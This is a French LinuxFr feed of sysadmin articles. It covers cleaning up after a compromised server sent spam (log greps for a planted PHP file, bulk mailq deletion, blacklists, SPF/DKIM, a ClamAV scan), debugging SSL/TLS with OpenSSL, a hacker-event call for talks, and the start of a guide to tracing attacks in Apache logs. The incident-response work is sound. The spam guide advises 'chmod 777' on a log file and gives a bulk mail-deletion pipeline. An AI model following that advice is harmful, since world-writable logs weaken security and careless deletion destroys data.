<p>Et là, on appelle ça un fichier vérolé :]</p>
<blockquote>
<p>Note : si vous n'avez que ça dans votre fichier, vous pouvez l'effacer directement après avoir remonté entièrement l'attaque. Si vous avez du code "valide" dans le fichier, vous pouvez enlever seulement la partie incompréhensible.</p>
</blockquote>
<p>Juste pour savoir, j'ai eu combien de requêtes sur ce fichier depuis 4 jours ?<br><code><br>
cat access-20150721.log access-20150722.log access-20150723.log access-20150724.log|grep -c "/wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php"<br>
3204<br></code></p>
<p>Ah oui quand même… Et avec combien d'IPs différentes ?</p>
<pre><code>cat access-20150721.log access-20150722.log access-20150723.log access-20150724.log|grep "/wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php"|awk '{print $1}'|sort -gu|wc -l
123
</code></pre>
<p>Comme vous vous en doutez, la "traque" ne s'arrête pas là. Je vous renvoie à l'article <a href="https://www.libwalk.so/2015/04/29/analyse-log.html">remonter une attaque avec les logs d'Apache2</a>, vu que c'est là que ça va se passer. Je vous conseille de finir de trouver la faille avant de passer à la suite.</p>
<h4 id="kill-everything-with-fire">KILL EVERYTHING WITH FIRE</h4>
<p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031352f636f6c696e2d6675727a652d786d656e2e6a7067/colin-furze-xmen.jpg" alt="fire" title="Source : https://www.libwalk.so/images/2015/colin-furze-xmen.jpg"></p>
<p>Mais avant, on va quand même faire une sauvegarde, parce que l'on est jamais à l'abri d'une connerie… (la commande suivante vous permet de copier votre mailq dans le dossier <code>/var/tmp/svg-mail</code>) :</p>
<pre><code>mkdir /var/tmp/svg-mail
rsync -avP /var/spool/mail/ /var/tmp/svg-mail
</code></pre>
<p>Reprenons notre lance-flammes. Comme vous l'avez vu au début de cet article, la commande <code>mailq</code> est assez verbeuse, et nous avons juste besoin de l'ID des mails pour les effacer. La commande qu'il nous faut est la suivante (en changeant MOTIF, bien entendu…):</p>
<pre><code>mailq|grep MOTIF|awk '{print $1}'|postsuper -d -
</code></pre>
<ul>
<li>
<code>mailq</code> -> affiche la liste des mails en attente</li>
<li>
<code>grep</code> MOTIF --> recherche les lignes avec le <em>motif</em> que nous voulons (ici ce serait <code>MAILER-DAEMON</code>)</li>
<li>
<code>awk '{print $1}'</code> -> affiche la première partie de la ligne, ça correspond ici à l'ID des mails</li>
<li>
<code>postsuper -d -</code> --> indique à la commande <code>postsuper</code> d'effacer (<code>-d</code> pour <em>delete</em>) les mails qu'on lui donne.</li>
</ul><p>Et ça nous donnera quelque chose ressemblant à ceci :</p>
<pre><code>mailq|grep MOTIF|awk '{print $1}'|postsuper -d -
[...]
postsuper: F21198830C2B1: removed
postsuper: F108B894D4171: removed
postsuper: F22718A48D820: removed
postsuper: F11EB8FB2A9E7: removed
postsuper: F02B78A14E94D: removed
postsuper: F0B5B8D42374F: removed
postsuper: F02BB8D422BEC: removed
postsuper: Deleted: 17047 messages
</code></pre>
<h4 id="spamhaus">Spamhaus</h4>
<p>Si votre serveur a envoyé (beaucoup) de spam, il est sans doute dans les listes de différents organismes (comme les RBL, pour <em>Realtime blacklist</em>), qui fournissent eux-mêmes des systèmes antispams. Les plus célèbres d'entre eux sont sans doute <a href="http://www.anti-abuse.org/multi-rbl-check/">anti-abuse.org</a> et <a href="https://www.spamhaus.org/">spamhaus</a> qui a le mérite (en plus de faire du très bon travail) d'avoir un site plutôt bien foutu, sur lequel on peut <strong>vérifier</strong> et <strong>débloquer</strong> son serveur s'il est considéré comme spammeur : <a href="https://www.spamhaus.org/lookup/">spamhaus.org/lookup/</a>.</p>
<h3 id="améliorons-encore">Améliorons encore</h3>
<h4 id="supervision">Supervision</h4>
<p>Il existe des outils pour vous aider à superviser et à vous alerter en cas de problèmes. Ils peuvent se présenter sous la forme de <a href="https://stackoverflow.com/questions/226699/how-to-monitor-postfix-mta-status/226913#226913">script "à la main"</a> (merci <a href="http://geekandpoke.typepad.com/geekandpoke/2013/01/stackoverflow.html">stackoverflow</a>). Des checks pour Nagios (que ce soit sur les <a href="https://exchange.nagios.org/directory/Plugins/Security/check_dnsbl/details">RBLs</a>) ou la <a href="https://exchange.nagios.org/directory/Plugins/Email-and-Groupware/Postfix/check_postfix_queue/details">taille de la mailq</a>. On peut aussi parler de <a href="http://mailgraph.schweikert.ch/">mailgraph</a> et de <a href="http://linux.die.net/man/1/pflogsumm">pflogsumm</a>.</p>
<p>À noter que <a href="http://www.anti-abuse.org/multi-rbl-check/">anti-abuse.org</a> fournit un service en ligne, <a href="http://www.rblmon.com/">rblmon.com</a> qui peut vous alerter automatiquement quand une de vos IPs arrivent dans une RBL.</p>
<h4 id="php--maillog">PHP / mail.log</h4>
<p>Pour retrouver plus facilement les fichiers ayant servi à envoyer du spam, n'hésitez pas à les logger via l'option <code>mail.log</code> de votre <code>php.ini</code> :</p>
<pre><code>vim /etc/php5/apache2/php.ini
## trouver la ligne "mail.log" et la compléter comme ceci :
mail.log = /var/log/mail.php.log
</code></pre>
<p>Puis on crée le fichier (n'hésitez pas à modifier les permissions si le coeur vous en dit):</p>
<pre><code>touch /var/log/mail.php.log && chmod 777 /var/log/mail.php.log
</code></pre>
<h4 id="spf-dkim-et-dmarc">SPF, DKIM et DMARC</h4>
<p>Au fur et à mesure du temps, des techniques ont été inventées pour lutter contre le spam et authentifier les expéditeurs "légaux". On parle ici de 3 choses :</p>
<ul>
<li>
<a href="https://fr.wikipedia.org/wiki/Sender_Policy_Framework">SPF</a>, pour <em>Sender Policy Framework</em>,</li>
<li>
<a href="https://fr.wikipedia.org/wiki/DomainKeys_Identified_Mail">DKIM</a> pour <em>DomainKeys Identified Mail</em>,</li>
<li>
<a href="https://fr.wikipedia.org/wiki/DMARC">DMARC</a> pour <em>Domain-based Message Authentication, Reporting and Conformance</em>.</li>
</ul><p>Je vous conseille <strong>vivement</strong> de les configurer sur vos serveurs de mails. Vous pouvez lire à ce sujet <a href="https://www.debian-administration.org/tag/spf">les articles</a> de Steve Kemp.</p>
<p>Des outils le font par défaut, comme <a href="https://github.com/AlternC/AlternC">AlternC</a>.</p>
<h4 id="antivirus">antivirus</h4>
<p>Si vous avez un antivirus, par exemple <a href="http://www.clamav.net/doc/install.html">ClamAV</a> (idéalement en y ajoutant les signatures de <a href="https://www.rfxn.com/projects/linux-malware-detect/">maldet</a>) sur votre serveur, il peut vous aider à (re)trouver des fichiers vérolés :</p>
<pre><code>clamscan -ri /var/www/
/var/www/search.php: Php.Trojan.StopPost FOUND
/var/www/help.php: Php.Trojan.StopPost FOUND
----------- SCAN SUMMARY -----------
Known viruses: 3912137
Engine version: 0.98.5
Scanned directories: 550
Scanned files: 78469
Infected files: 2
Data scanned: 1382.68 MB
Data read: 1509.90 MB (ratio 0.92:1)
Time: 132.390 sec (2 m 12 s)
</code></pre></div><div><a href="https://linuxfr.org/news/envoi-de-spam-a-partir-d-un-serveur-comment-reagir.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/106437/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/envoi-de-spam-a-partir-d-un-serveur-comment-reagir#comments">ouvrir dans le navigateur</a>
</p>
skhaenpalm123Nils RatusznikBenoît Sibaudhttps://linuxfr.org/nodes/106437/comments.atomtag:linuxfr.org,2005:Diary/359982015-07-21T13:56:57+02:002015-07-21T15:26:49+02:00Debug SSL/TLS avec OpenSSL - partie 1Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li><ul>
<li>
<a href="#ssl-labs-lincontournable"></a><a href="https://www.ssllabs.com/">SSL Labs</a>, l'incontournable</li>
</ul></li>
<li><a href="#cr%C3%A9ation-dun-csr-et-dun-key">Création d'un .csr et d'un .key</a></li>
<li><a href="#cest-pourquoi-d%C3%A9j%C3%A0-ce-certificat">c'est pourquoi déjà ce certificat ?</a></li>
<li><a href="#et-les-deux-fichiers-l%C3%A0-ils-vont-ensemble">et les deux fichiers, là, ils vont ensemble ?</a></li>
<li><a href="#configuration-ssltls-sous-apache2-">configuration SSL/TLS sous Apache2 :</a></li>
<li><a href="#chain-k%C3%A9sako">.chain ? késako</a></li>
<li><a href="#s_client">s_client</a></li>
<li><a href="#openssl-sur-mon-syst%C3%A8me-">OpenSSL sur mon système :</a></li>
<li><a href="#pour-aller-plus-loin-mais-vraiment-tr%C3%A8s-tr%C3%A8s-loin-">pour aller plus loin (mais vraiment très, très loin) :</a></li>
</ul></li>
</ul><p>Si tu es en pleine session de dé/bug SSL/TLS, cet article peut t'éviter quelques désagréments ;-)</p>
<h4 id="ssl-labs-lincontournable">
<a href="https://www.ssllabs.com/">SSL Labs</a>, l'incontournable</h4>
<p>On ne le présente plus, le site de Qualys permet de <a href="https://www.ssllabs.com/ssltest/">tester la configuration de son serveur</a> facilement avec une interface web bien faite. Le test permet d'avoir un rapport concernant les points suivants :</p>
<ul>
<li>Authentification : validité du certificat (nom du site, période de validité…),</li>
<li>présence et validité de la chaîne de certificat (chain)</li>
<li>Protocoles disponibles (SSLv2, SSLv3, TLS 1.0, 1.1 et 1.2),</li>
<li>Cipher suites disponibles,</li>
<li>Simulations de connexions avec de nombreux clients (Android, Firefox, IE, Java, Safari, …),</li>
<li>détails (Forward Secrecy, HSTS, utilisation du protocole RC4, etc etc…).</li>
</ul><p>Le tout avec des notes allant de A à F et les pistes à suivre pour améliorer sa connexion. Si vous ne l'avez pas encore fait c'est la première étape parfaite. À noter que SSL Labs permet aussi de <a href="https://www.ssllabs.com/ssltest/viewMyClient.html">tester son navigateur</a> et fournit de la data sur <a href="https://www.trustworthyinternet.org/ssl-pulse/">l'écosystème HTTPS sur Internet</a>.</p>
<h3 id="création-dun-csr-et-dun-key">Création d'un .csr et d'un .key</h3>
<p>Pour créer une <em><a href="https://en.wikipedia.org/wiki/Certificate_signing_request">Certificate Signing Request</a></em> (<em>.csr</em>) et une nouvelle <a href="https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique">clé privée</a> (<em>.key</em>):</p>
<pre><code>openssl req -sha256 -out /etc/ssl/private/exemple.csr -new -newkey rsa:2048 -nodes -keyout /etc/ssl/private/exemple.key
</code></pre>
<p>Détaillons (il parait que c'est mieux pour comprendre) :</p>
<ul>
<li>
<code>req</code> : permet de <a href="https://www.openssl.org/docs/apps/req.html">créer et de gérer les CSR</a>
</li>
<li>
<code>-sha256</code> : Vous avez normalement vue <a href="http://googleonlinesecurity.blogspot.fr/2014/09/gradually-sunsetting-sha-1.html">les annonces</a> concernant le passage de SHA1 à SHA2. Pour l'inclure dans votre CSR (<em>Certificate Signing Request</em>), il suffit de rajouter l'option <code>-sha256</code> à OpenSSL</li>
<li>
<code>-out /etc/ssl/private/exemple.csr</code> : indique le fichier où sera enregistrée la CSR</li>
<li>
<code>-new</code> : génère une nouvelle CSR et demande à l'utilisateur les valeurs qu'il souhaite</li>
<li>
<code>-newkey rsa:2048</code> : crée une nouvelle clé privée, de type rsa et d'une taille de 2048 bits</li>
<li>
<code>-nodes</code> : la clé privée n'aura pas de mot de passe</li>
<li>
<code>-keyout /etc/ssl/private/exemple.key</code> : indique le fichier où sera enregistrée la clé privée</li>
</ul><h3 id="cest-pourquoi-déjà-ce-certificat">c'est pourquoi déjà ce certificat ?</h3>
<p>Quand soudainement (enfin disons quelques temps plus tard), le drame ! Vous ne savez plus quel certificat fait quoi et pour qui, ou jusqu'à quand il est valide :</p>
<pre><code>openssl x509 -text -in VotreCertificat.crt -noout
</code></pre>
<h3 id="et-les-deux-fichiers-là-ils-vont-ensemble">et les deux fichiers, là, ils vont ensemble ?</h3>
<p>Pour la clé privée :</p>
<pre><code>openssl rsa -noout -modulus -in server.key | md5sum
</code></pre>
<p>Pour le certificat :</p>
<pre><code>openssl x509 -noout -modulus -in server.crt | md5sum
</code></pre>
<p>Si le résultat est le même pour les deux commandes, alors votre clé privée et votre certificat sont bien pour le même nom de domaine, avec les mêmes caractéristiques (validité…)</p>
<h3 id="configuration-ssltls-sous-apache2-">configuration SSL/TLS sous Apache2 :</h3>
<p>Lors de la présence de plusieurs vhosts différents sur un même serveur Apache2, il arrive que l'on puisse avoir des résultats étranges dans les algos de chiffrement, par exemple la présence de SSLv3 alors que l'on a bien mis (et vérifié beauc… trop de fois) que l'on a bien <code>SSLProtocol all -SSLv2 -SSLv3</code> dans sa configuration.</p>
<p>Il faut savoir que l'on peut mettre sa configuration SSL/TLS dans <strong>deux</strong> fichiers différents :</p>
<p>Le premier (<code>/etc/apache2/mods-enabled/ssl.conf</code>) sera le choix par défaut pour l'ensemble des vhosts, alors que le second (<code>/etc/apache2/sites-enabled</code>) concernera seulement le vhost pour lequel la configuration est présente dans son fichier de configuration. L'idée est donc de mettre la configuration générale dans <code>ssl.conf</code> et les points de configuration propre à chaque vhost dans <code>sites-enabled</code> (ou dans <code>sites-enabled</code> selon votre configuration), comme les certificats ou encore HSTS (Strict-Transport-Security) avec lequel je vous conseille de faire TRÈS attention.</p>
<ul>
<li>configuration générale : <code>/etc/apache2/mods-enabled/ssl.conf</code>
</li>
</ul><pre><code>SSLCipherSuite ALL:!aNULL:!eNULL:!LOW:!EXP:!RC4:!3DES:+HIGH:+MEDIUM
SSLHonorCipherOrder on
SSLProtocol all -SSLv2 -SSLv3
</code></pre>
<p><strong>NOTE de non bas de page</strong> : mon extrémiste préféré pour le ssl/tls <a href="https://blog.imirhil.fr/extremiste-oui-et-meme-fier-de-letre.html">aeris</a> vous propose cette configuration un poil extrême (mais ô combien efficace) à la place de la précédente :</p>
<pre><code>SSLCipherSuite EECDH+AES:+AES128:+AES256:+SHA
</code></pre>
<ul>
<li>configuration propre à un vhost : <code>etc/apache2/sites-enabled/</code> (entre les balises <code><VirtualHost></code> et <code></VirtualHost></code>) :</li>
</ul><pre><code>SSLEngine on
SSLCertificateKeyFile /etc/ssl/private/libwalk.key
SSLCertificateFile /etc/ssl/private/libwalk.crt
SSLCertificateChainFile /etc/ssl/private/libwalk.chain
SSLCompression off
Header set Strict-Transport-Security "max-age=31622400
</VirtualHost>
</code></pre>
<h3 id="chain-késako">.chain ? késako</h3>
<p>La directive <a href="https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcertificatechainfile">SSLCertificateChainFile</a> d'Apache2 permet d'indiquer l'emplacement du fichier comportant les <a href="https://developer.mozilla.org/fr/docs/Introduction_%C3%A0_la_cryptographie_%C3%A0_clef_publique/Certificats_et_authentification#Cha.C3.AEnes_de_certificat">certificats chaînés</a> (merci mozilla pour l'explication), c'est à dire votre certificat ET les certificats de votre <a href="https://en.wikipedia.org/wiki/Certificate_authority">CA</a> (comme startssl, gandi, comodo).</p>
<p>Quand vous faites une requêtes (CSR) chez une <a href="https://en.wikipedia.org/wiki/Certificate_authority">CA</a>, cette dernière, au moment de vous fournir votre certificat (.crt), vous indique (normalement) où se trouvent ses certificats à prendre dans votre cas.</p>
<p>Nous allons prendre comme exemple ici <a href="https://www.startssl.com">startssl</a> vu qu'ils permettent d'avoir des certificats gratuits assez facilement. Une fois que j'ai fait ma requête via le formulaire en envoyant ma CSR et qu'ils m'ont fournit ma clé, je peux faire la manipulation suivante :</p>
<p><strong>IMPORTANT</strong> : l'ordre dans le fichier <strong>doit</strong> commencer par le certificat le plus bas (nous), puis remonter progressivement vers le plus haut.</p>
<p>Imaginons que nous avons déjà notre clé privée (<code>exemple.tld.key</code>) et notre certificat (<code>exemple.tld.crt</code>) :</p>
<ul>
<li>télécharger le certificat intermédiaire de startssl :</li>
</ul><pre><code>wget https://www.startssl.com/certs/sub.class1.server.ca.pem
</code></pre>
<ul>
<li>puis le certificat root :</li>
</ul><pre><code>wget https://www.startssl.com/certs/ca.pem
</code></pre>
<p>puis on forge le certificat chaîné (ne pas oublier les 2 >>) :</p>
<pre><code>cat exemple.tld.crt >> /etc/ssl/private/exemple.tld.chain
cat sub.class1.server.ca.pem >> /etc/ssl/private/exemple.tld.chain
cat ca.pem >> /etc/ssl/private/exemple.tld.chain
</code></pre>
<p>Et le tour est joué* \o/</p>
<p>si vous n'avez pas oublié de rajouter la ligne suivante dans le fichier de configuration de votre vhost :</p>
<pre><code>SSLCertificateChainFile /etc/ssl/private/exemple.tld.chain
</code></pre>
<h3 id="s_client">s_client</h3>
<p>Permet de faire des tests grâce à un client SSL (cf <a href="https://wiki.openssl.org/index.php/Command_Line_Utilities#s_client">wiki.openssl.org</a>)</p>
<pre><code>openssl s_client -servername www.libwalk.so -connect www.libwalk.so:443
</code></pre>
<p>Attention à ne pas oublier <code>-servername</code> et le nom du site que vous voulez tester, sinon la commande prendra le certificat présenté par défaut sur le serveur (et donc pas forcément le bon…).</p>
<p>Exemple :</p>
<ul>
<li>
<strong>avec</strong> <code>-servername www.libwalk.so</code>
</li>
</ul><pre><code>openssl s_client -servername www.libwalk.so -connect www.libwalk.so:443
CONNECTED(00000003)
depth=1 C = IL, O = StartCom Ltd., OU = Secure Digital Certificate Signing, CN = StartCom Class 1 Primary Intermediate Server CA
[...]
0 s:/description=clwEqu9Rv2hyAXKy/C=FR/CN=www.libwalk.so/emailAddress=postmaster@libwalk.so
</code></pre>
<ul>
<li>
<strong>sans</strong> <code>-servername www.libwalk.so</code>
</li>
</ul><pre><code>openssl s_client -connect www.libwalk.so:443
CONNECTED(00000003)
[...]
0 s:/OU=Domain Control Validated/OU=PositiveSSL Wildcard/CN=*.octopuce.fr
</code></pre>
<p>Pour plus de précisions, vous pouvez lire "<em><a href="https://major.io/2012/02/07/using-openssls-s_client-command-with-web-servers-using-server-name-indication-sni/">Using OpenSSL’s s_client command with web servers using Server Name Indication (SNI)</a></em>" pour faire connaissance avec notre ami le <em>SNI</em> (<em>Server Name Indication</em>).</p>
<h3 id="openssl-sur-mon-système-">OpenSSL sur mon système :</h3>
<pre><code>openssl ciphers -v 'ALL:COMPLEMENTOFFALL'
</code></pre>
<p>Ce qui est activé par défaut (vous pouvez noter la présence des suites d'EXPort) :</p>
<pre><code>openssl ciphers -v 'DEFAULT'
openssl ciphers -v 'ALL:!aNULL:!eNULL'
</code></pre>
<pre><code>openssl list-cipher-commands
openssl list-message-digest-commands
</code></pre>
<p>Vous pouvez "créer" votre suite avec <a href="https://www.openssl.org/docs/apps/ciphers.html#CIPHER_STRINGS">les critères suivants</a> (algo de chiffrement, de hashage, d'authentification…), la question que vous allez poser devrait donc être "ok, mais on fait comment ?".</p>
<blockquote>
<p><strong>Note</strong> : vous pouvez à tout moment regarder ce que contient <a href="https://www.openssl.org/docs/apps/ciphers.html#CIPHER_STRINGS">un ensemble d'algos</a> avec la commande que l'on vient de voir. Si par exempke vous voulez voir ce que <code>EXP</code> contient, vous pouvez le faire avec la commande <code>openssl ciphers -v 'EXP'</code>.</p>
</blockquote>
<p>On prend tout (<code>ALL</code>), on enlève les algos qui ne permettent pas ni l'authentification (<code>!aNULL</code>), ni chiffrement (<code>!eNULL</code>), on continue en enlevant <code>!LOW</code> (chiffrement avec 56 ou 64 bits, la norme est de 128 bits de nos jours), les algos d'export (<code>!EXP</code>) et l'algo RC4 (<code>!RC4</code>) qui est considéré comme <a href="https://twitter.com/ioerror/status/398059565947699200">dangereux</a>.</p>
<h3 id="pour-aller-plus-loin-mais-vraiment-très-très-loin-">pour aller plus loin (mais vraiment très, très loin) :</h3>
<ul>
<li>un seul livre à lire : l'<a href="http://www.amazon.com/Bulletproof-SSL-TLS-Understanding-Applications/dp/1907117040/ref=asap_bc?ie=UTF8">inégalable</a> "<em><a href="https://www.feistyduck.com/books/bulletproof-ssl-and-tls/">Bulletproof SSL and TLS</a></em>" d'Ivan Ristić.</li>
<li>mais sinon, en plus court et en gratuit, il y a <a href="https://www.feistyduck.com/books/openssl-cookbook/">openssl cookbook</a> du même auteur, ainsi que "<em><a href="https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices.pdf">SSL/TLS Deployment Best Practices</a></em>" (merci <a href="https://fr.matlink.fr/">matlink</a> pour le rappel).</li>
</ul><div><a href="https://linuxfr.org/users/skhaen/journaux/debug-ssl-tls-avec-openssl-partie-1.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/106346/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/users/skhaen/journaux/debug-ssl-tls-avec-openssl-partie-1#comments">ouvrir dans le navigateur</a>
</p>
skhaenhttps://linuxfr.org/nodes/106346/comments.atomtag:linuxfr.org,2005:News/364322015-05-18T12:20:22+02:002015-05-18T12:20:22+02:00Call for hack pour la 7ème édition de Passage en SeineLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Passage en Seine est un événement qui mêle conférences et ateliers autour du hack, de contenu libre, de P2P, de créativité, d'hacktivisme, d'électronique, de la presse, d'art et de culture libre… Les sujets abordés y sont vastes et ne sont pas forcément techniques. L'entrée y est toujours libre, gratuite et ouverte à tou·te·s : curieux & curieuses, hackers & hackeuses, développeurs & développeuses, passant-e-s et pas sages… <br><img src="//img.linuxfr.org/img/687474703a2f2f692e696d6775722e636f6d2f4b79586f507a4a2e706e67/KyXoPzJ.png" alt="log PSES" title="Source : http://i.imgur.com/KyXoPzJ.png"><br>
L’édition 2015 de Passage en Seine aura lieu du 18 au 21 juin à <a href="http://osm.org/go/0BPIiqUE3?m=&way=55046167">Numa</a> (39 rue du Caire à Paris, métros Sentier, Réaumur-Sébastopol ou Strasbourg-Saint Denis) et le Call for Hack est ouvert jusqu'au dimanche 24 mai !</p>
<p><em>Plus détails dans la seconde partie de la dépêche.</em></p></div><ul><li>lien nᵒ 1 : <a title="http://www.passageenseine.org/fr/call-for-hacks" hreflang="fr" href="https://linuxfr.org/redirect/94103">Lien pour le « call for hack »</a></li><li>lien nᵒ 2 : <a title="http://www.passageenseine.org/fr/programme/2014/" hreflang="fr" href="https://linuxfr.org/redirect/94104">Programme de l'édition 2014</a></li><li>lien nᵒ 3 : <a title="http://list.passageenseine.org/mailman/listinfo/discussion" hreflang="fr" href="https://linuxfr.org/redirect/94105">Liste de diffusion</a></li></ul><div><p>Vous avez forcément quelque chose d'intéressant à partager avec d'autres hackers. Donc, comme chaque année nous vous lançons cet appel, à vous, bidouilleurs/bidouilleuses, hackers/hackeuses, pour venir présenter vos projets. Pas Sage en Seine se veut ouvert au plus grand nombre, aussi nous appelons, plus que jamais, votre participation sur des thèmes décalés, que l'on a pas forcément l'habitude de voir quand des hackers se rencontrent : art graphique, musique, mode…</p>
<p>Surprenez-nous, venez partager votre créativité, faites découvrir vos travaux !</p>
<p>Développeurs/développeuses, artistes, créateurs/créatrices, hackers, bricoleurs/bricoleuses, hacktivistes, cet appel s'adresse à vous, venez nous surprendre, venez partager vos passions, en venant présenter une conférence, un lightning talk ou un atelier.</p>
<p>Date limite pour le Call for Hacks : dimanche 24 mai 2015 !</p>
<p>N'hésitez pas ! :)</p></div><div><a href="https://linuxfr.org/news/call-for-hack-pour-la-7eme-edition-de-passage-en-seine.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/105774/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/call-for-hack-pour-la-7eme-edition-de-passage-en-seine#comments">ouvrir dans le navigateur</a>
</p>
skhaenFlorent Zarapalm123NÿcoBenoît Sibaudhttps://linuxfr.org/nodes/105774/comments.atomtag:linuxfr.org,2005:News/363852015-05-04T00:21:04+02:002015-05-04T13:40:38+02:00Remonter une attaque et trouver la faille avec les logs d'Apache2Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Nous allons voir dans cet article comment remonter une attaque suite au piratage d'un site avec les logs d'Apache. On partira du principe que Apache est déjà configuré pour mettre ses logs dans <code>/var/log/apache2</code> et dans les fichiers <code>access.log</code> et <code>error.log</code>.</p></div><ul><li>lien nᵒ 1 : <a title="https://www.libwalk.so/2015/04/29/analyse-log.html" hreflang="fr" href="https://linuxfr.org/redirect/93929">Lien vers l'article original</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li><a href="#navigation">Navigation</a></li>
<li>
<a href="#codes-et-m%C3%A9thodes">Codes et méthodes</a><ul>
<li><ul>
<li>
<a href="#liste-des-codes-http-avec-ceux-que-lon-retrouve-le-plus-souvent-">Liste des </a><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">codes HTTP</a>, avec ceux que l'on retrouve le plus souvent) :</li>
<li>
<a href="#liste-des-m%C3%A9thodes-http">Liste des </a><a href="https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol">méthodes HTTP</a>
</li>
</ul></li>
</ul>
</li>
<li>
<a href="#temps-de-jouer-%C3%A0-cache-cache">Temps de jouer à cache-cache</a><ul>
<li>
<a href="#exemple-1--drupal">Exemple 1 : Drupal</a><ul>
<li><a href="#cherchons-dans-les-logs">Cherchons dans les logs</a></li>
<li><a href="#vu">VU !</a></li>
<li><a href="#allons-plus-loin">Allons plus loin</a></li>
</ul>
</li>
<li><a href="#exemple-2--vuln%C3%A9rabilit%C3%A9-sur-php-52">Exemple 2 : vulnérabilité sur PHP 5.2</a></li>
</ul>
</li>
<li><a href="#en-conclusion">En conclusion</a></li>
</ul></li>
</ul><p>La <a href="https://httpd.apache.org/docs/2.4/fr/logs.html#accesslog">documentation d'apache</a> explique très bien comment est formée une ligne typique d'un fichier de log, mais découpons finement la ligne suivante pour voir ce que ça signifie : </p>
<pre><code>93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /2015/01/25/NSA-bullrun.html HTTP/1.1" 200 8766 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
</code></pre>
<p>Pour info, ça correspond à la ligne suivante dans votre <a href="https://httpd.apache.org/docs/2.4/fr/mod/mod_log_config.html#formats">configuration apache2</a> :</p>
<pre><code>LogFormat "%{LOGIN}e %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %T"
</code></pre>
<p>Pour la comprendre plus facilement, on peut imaginer la lire comme un journal de bord dans lequel la personne qui s'en chargerait raconterait tout avec le plus de détails possible. Dans l'exemple ci-dessus, les logs nous racontent que :</p>
<p>J'ai eu une requête provenant de l'adresse IP <strong>93.184.216.34</strong> le <strong>20 avril 2014 à 21h54 et 21 secondes</strong> (<strong>+0200</strong> indiquant la <a href="https://en.wikipedia.org/wiki/Time_zone">timezone</a> de votre serveur), elle m'a demandé (<strong>GET</strong>) d'accèder à la ressource <strong>/2015/01/25/NSA-bullrun.html</strong> en utilisant le protocole <strong>HTTP/1.1</strong>.</p>
<p>J'indique ensuite le <a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">statut de cette ressource</a> (<em>200</em>), ainsi que sa taille (ici le <a href="https://httpd.apache.org/docs/2.4/fr/mod/mod_log_config.html#formats">nombre d'octets envoyés, y compris les en-têtes</a>) (<em>8766</em>).</p>
<p>Elle m'indique venir du site <strong><a href="https://www.libwalk.so">https://www.libwalk.so</a></strong> (<strong>referer</strong>) et m'affirme l'avoir fait en utilisant le logiciel <strong>Mozilla/5.0 […]</strong> (<em>user-agent</em>). Et j'ai mis <strong>0</strong> seconde à servir cette ressource.</p>
<h3 id="navigation">Navigation</h3>
<p>Pour comprendre comment on peut retrouver des traces d'une personne (ou d'un bot) "facilement", voici les logs que génère un visiteur en arrivant sur ce blog (j'ai passé des lignes pour que ce soit plus lisible) :</p>
<pre><code>93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET / HTTP/1.1" 200 2605 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET /css/slimbox2.css HTTP/1.1" 200 536 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET /css/bootstrap.min.css HTTP/1.1" 200 16343 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
93.184.216.34 - - [20/Apr/2015:21:53:46 +0200] "GET /css/style.css HTTP/1.1" 200 673 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
</code></pre>
<p>Puis en cliquant sur le bouton "read more" de l'article "<a href="https://www.libwalk.so/2015/01/25/NSA-bullrun.html">NSA - À propos de BULLRUN</a>" :</p>
<pre><code>93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /2015/01/25/NSA-bullrun.html HTTP/1.1" 200 8766 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/trivial_catastrophic.png HTTP/1.1" 200 96122 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
